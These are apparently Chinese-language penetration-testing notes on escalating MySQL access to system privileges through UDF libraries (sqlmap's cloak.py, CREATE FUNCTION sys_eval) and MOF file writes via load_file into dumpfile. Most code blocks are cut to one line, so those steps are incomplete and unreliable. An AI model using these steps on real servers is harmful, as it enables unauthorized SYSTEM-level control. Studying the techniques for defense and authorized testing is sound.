Mysql提权
提权基础知识
一、Mysql提权的必备条件
Mysql的服务没有降权,并且需要获取Mysql root账号密码
使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权
二、Mysql密码查询
1 | 1、root密码查询 |
三、利用ntfs特性创建文件夹
1 | 1、创建lib文件夹 |
四、常用的sql基础查询命令
1 | 查看数据库路径 |
UDF提权
参考链接
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10
一、原理
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
利用MYSQL的自定义函数功能将Mysql账号转换为system权限
二、UDF动态链接库的位置
1 | sqlmap根目录/data/udf/mysql |
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下
1 | # 解码 32 位的 Linux 动态链接库 |
具体dll的下载链接,可在参考链接中找到
三、UDF提权的条件
1 | 1、如果Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下 |
四、写入相应的dll过后,执行如下语句
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
五、如果不能直接连接目标Mysql
1 | 1、可以使用:udf.php |
MOF提权
一、原理
利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行
二、提权的条件#
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
三、nullevt.mof的利用代码
1 | #pragma namespace("\\\\.\\root\\subscription") |
四、上传mof
使用sql语句将文件导入到c:/windows/system32/wbem/mof/ (一般是win2003 ,Windows2008以上由于保护机制,较少能够成功(无法写入))
1 | select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" |
要注意的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据
五、关于MOF提权的弊端
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
1 | net stop winmgmt |